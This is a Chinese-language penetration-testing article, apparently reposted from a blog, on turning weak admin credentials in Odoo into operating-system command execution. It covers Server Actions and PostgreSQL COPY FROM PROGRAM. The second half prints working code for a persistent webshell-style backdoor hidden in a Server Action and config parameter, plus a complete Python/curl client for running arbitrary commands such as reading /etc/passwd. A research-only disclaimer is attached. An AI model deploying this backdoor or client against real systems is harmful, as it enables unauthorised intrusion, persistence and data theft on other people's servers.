odoo渗透测试

admin 2026-09-11 05:10:57 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细记录了Odoo系统从弱口令登录到获取服务器权限的完整攻击链:弱口令进入后台、开启开发者模式、创建ServerAction执行Python代码、利用PostgreSQL的COPYFROMPROGRAM执行系统命令,并提供了将命令执行封装为持久化后门的完整代码与客户端工具。文章技术细节完整,可操作性强,并附有安全研究免责声明。 综合评分: 88 文章分类: 渗透测试,红队,漏洞分析,内网渗透,安全工具


odoo 渗透测试

vector的一天天 vector的一天天

vector的一天天

2026年8月28日 15:19 福建

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

声明:本文仅用于安全研究、漏洞验证和防御分析,请勿对未经授权的系统进行测试。文中的目标信息、账号、ID 等均已脱敏。

odoo接触比较少,记录拿到odoo管理员权限后如何命令执行

弱口令登录 → 获得后台管理权限 → 开启开发者模式 → 创建/执行 Server Action → 利用 PostgreSQL COPY … FROM PROGRAM 执行操作系统命令 → 获取 Odoo 运行账户权限。

一、漏洞入口:弱口令

攻击的第一步并不复杂。

目标 Odoo 系统存在默认或弱口令,例如:

用户名:admin密码:********

攻击者成功登录以后,如果该账户拥有足够的后台权限,就不需要再寻找传统的 Web 漏洞。

Odoo 本身提供了大量后台管理能力,包括:

模型管理

自动化规则

Server Action

Scheduled Actions

数据库配置

开发者工具

因此,一个看似普通的“弱口令问题”,在高权限账户场景下可能进一步演变成服务器级命令执行。

二、开启开发者模式

登录 Odoo 后,可以进入开发者模式。

随后在后台找到:

Technical

└── Automation

└── Scheduled Actions

在相关自动化任务中,可以看到不同类型的 Action。

其中需要重点关注:

ir.actions.server

Server Action 是 Odoo 自动化机制的重要组成部分,它能够执行 Python 代码。

这里也是整个攻击链的关键转折点。

一旦攻击者能够创建或者修改具有足够权限的 Server Action,那么问题就不再只是“后台权限”。

而可能进一步变成:

任意 Python 代码执行 → 数据库操作 → 操作系统命令执行。

默认是无法直接执行python 命令执行代码,odoo有沙箱防护。

开启开发者模式,选择Scheduled Actions,选择mode “ir.actions.server”

三、Server Action 为什么危险?

Odoo 的 Server Action 可以访问当前 Odoo 环境,例如:

env

通过 env 可以访问 Odoo ORM、数据库游标等对象。

例如:

env.cr.execute(…)

本质上就是直接操作 PostgreSQL 数据库连接。

在正常业务场景中,Server Action 可以用于:

自动更新字段

创建业务记录

发送通知

执行业务逻辑

但如果攻击者已经能够编写任意 Server Action,那么数据库连接本身就可能成为进一步攻击的入口。

四、PostgreSQL 的 COPY FROM PROGRAM

这也是本次案例中最值得关注的技术点。

PostgreSQL 提供了:

COPY … FROM PROGRAM

该功能允许 PostgreSQL 服务端执行一个操作系统程序,并把程序输出读取到数据库中。

在安全配置允许的情况下,类似逻辑可以形成:

Odoo Python

PostgreSQL

COPY FROM PROGRAM

Operating System

例如测试环境中,可以使用一个无破坏性的身份确认命令验证执行权限:

env.cr.execute("CREATE TEMP TABLE IF NOT EXISTS cmd_exec(output text);")
env.cr.execute("""COPY cmd_exec FROM PROGRAM 'whoami';""")
env.cr.execute("SELECT output FROM cmd_exec LIMIT 1;")res = env.cr.fetchone()
raise UserError(f"Linux Command Output: {res}")

代码填写位置

运行按钮

返回结果

其他可以执行代码的位置:

六、进一步的风险:把命令执行封装成后门

如果攻击者拥有 Server Action 的修改权限,那么还可能进一步把命令执行逻辑封装起来。

例如,可以看到一种典型的攻击思路:

配置参数

保存待执行指令

Server Action

PostgreSQL COPY FROM PROGRAM

保存执行结果

再次通过 Odoo API 获取结果

这样一来,攻击者就不需要每次都修改 Server Action。

只需要改变某个配置参数,然后触发对应的 Server Action 即可。

从攻击者角度看,这实际上已经形成了一个简易的:

Odoo 应用层 WebShell

其本质结构类似:

Command Input

ir.config_parameter

Server Action

PostgreSQL

OS Command

Result Storage

HTTP API

后门的代码:

_c = env['ir.config_parameter'].sudo().get_param('_ws_cmd', '')if _c:    env.cr.execute("DROP TABLE IF EXISTS _ws_t")    env.cr.execute("CREATE TEMP TABLE _ws_t(x text)")    env.cr.execute("COPY _ws_t FROM PROGRAM '" + _c.replace("'","''") + "'")    env.cr.execute("SELECT string_agg(x, chr(10)) FROM _ws_t")    _r = env.cr.fetchone()    env.cr.execute("DROP TABLE IF EXISTS _ws_t")    _out = str(_r[0]) if _r and _r[0] else ''    env['ir.config_parameter'].sudo().set_param('_ws_r', _out[:8000])

客户端代码

#!/usr/bin/env python3"""Odoo Webshell Client - curl 版 (requests 被目标断了)目标:
用法:  python3 ws.py "id"  python3 ws.py "ls -la /tmp"  python3 ws.py "cat /etc/passwd""""
import subprocessimport jsonimport sysimport time
URL = "http://localhost"COOKIE_FILE = "ws_cookie"DB = "odoo"USER = "admin"PASS = "admin"ACTION_ID = 426

def api(endpoint, payload, timeout=30):    """调用 Odoo API,用 curl"""    with open("ws_payload.json", "w") as f:        json.dump(payload, f)
    cmd = [        "curl", "-sk",        "-b", COOKIE_FILE, "-c", COOKIE_FILE,        "--connect-timeout", "10",        "--max-time", str(timeout),        f"{URL}/{endpoint}",        "-H", "Content-Type: application/json",        "-d", "@ws_payload.json"    ]    r = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout + 5)    try:        return json.loads(r.stdout) if r.stdout else {"error": r.stderr}    except json.JSONDecodeError:        return {"error": f"JSON decode failed: {r.stdout[:200]}"}

def login():    """登录"""    r = api("web/session/authenticate", {        "jsonrpc": "2.0", "method": "call",        "params": {"db": DB, "login": USER, "password": PASS},        "id": 1    })    uid = r.get("result", {}).get("uid")    if not uid:        print(f"[-] 登录失败: {json.dumps(r, indent=2)[:300]}")        sys.exit(1)    return uid

def run_cmd(cmd, retry=3):    """通过 webshell 执行命令"""    for i in range(retry):

Step 1: 设命令        api("web/dataset/call_kw/ir.config_parameter/set_param", {            "jsonrpc": "2.0", "method": "call",            "params": {                "model": "ir.config_parameter",                "method": "set_param",                "args": ["_ws_cmd", cmd],                "kwargs": {}            },            "id": 1        }, timeout=15)

Step 2: 立刻触发!(cron 随时覆盖)        r2 = api("web/dataset/call_kw/ir.actions.server/run", {            "jsonrpc": "2.0", "method": "call",            "params": {                "model": "ir.actions.server",                "method": "run",                "args": [[ACTION_ID]],                "kwargs": {}            },            "id": 2        }, timeout=30)

触发成功&nbsp;or&nbsp;_ws_cmd 被 cron 清空了 &nbsp; &nbsp; &nbsp; &nbsp;if&nbsp;not&nbsp;r2.get("error"): &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;break&nbsp; &nbsp; &nbsp; &nbsp; time.sleep(0.2) &nbsp; &nbsp;# Step 3: 等命令执行完 &nbsp; &nbsp;time.sleep(2) &nbsp; &nbsp;# Step 4: 读结果 &nbsp; &nbsp;r3 = api("web/dataset/call_kw/ir.config_parameter/get_param", { &nbsp; &nbsp; &nbsp; &nbsp;"jsonrpc": "2.0", "method": "call", &nbsp; &nbsp; &nbsp; &nbsp;"params": { &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"model": "ir.config_parameter", &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"method": "get_param", &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"args": ["_ws_r"], &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"kwargs": {} &nbsp; &nbsp; &nbsp; &nbsp;}, &nbsp; &nbsp; &nbsp; &nbsp;"id": 3 &nbsp; &nbsp;}, timeout=15) &nbsp; &nbsp;return r3.get("result", "")def main(): &nbsp; &nbsp;if len(sys.argv) < 2: &nbsp; &nbsp; &nbsp; &nbsp;print(f"Usage: {sys.argv[0]} <command>") &nbsp; &nbsp; &nbsp; &nbsp;print(f"Example: {sys.argv[0]} 'id; hostname; uname -a'") &nbsp; &nbsp; &nbsp; &nbsp;print(f"Example: {sys.argv[0]} 'ls -la /tmp'") &nbsp; &nbsp; &nbsp; &nbsp;sys.exit(1) &nbsp; &nbsp;cmd = " ".join(sys.argv[1:]) &nbsp; &nbsp;print(f"[] 登录 {URL} ...") &nbsp; &nbsp;uid = login() &nbsp; &nbsp;print(f"[+] uid={uid}, db={DB}") &nbsp; &nbsp;print(f"[] 执行: {cmd}") &nbsp; &nbsp;output = run_cmd(cmd) &nbsp; &nbsp;if output: &nbsp; &nbsp; &nbsp; &nbsp;print(f"[+] 输出:\n{output}") &nbsp; &nbsp;else: &nbsp; &nbsp; &nbsp; &nbsp;print("[-] 无输出 (cron 抢了, 再试一次)")if name == "main": &nbsp; &nbsp;main()

免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:vector的一天天 vector的一天天 vector的一天天《odoo 渗透测试》

    odoo渗透测试 网络安全文章

    odoo渗透测试

    文章总结: 本文详细记录了Odoo系统从弱口令登录到获取服务器权限的完整攻击链:弱口令进入后台、开启开发者模式、创建ServerAction执行Python代码
    评论:0   参与:  0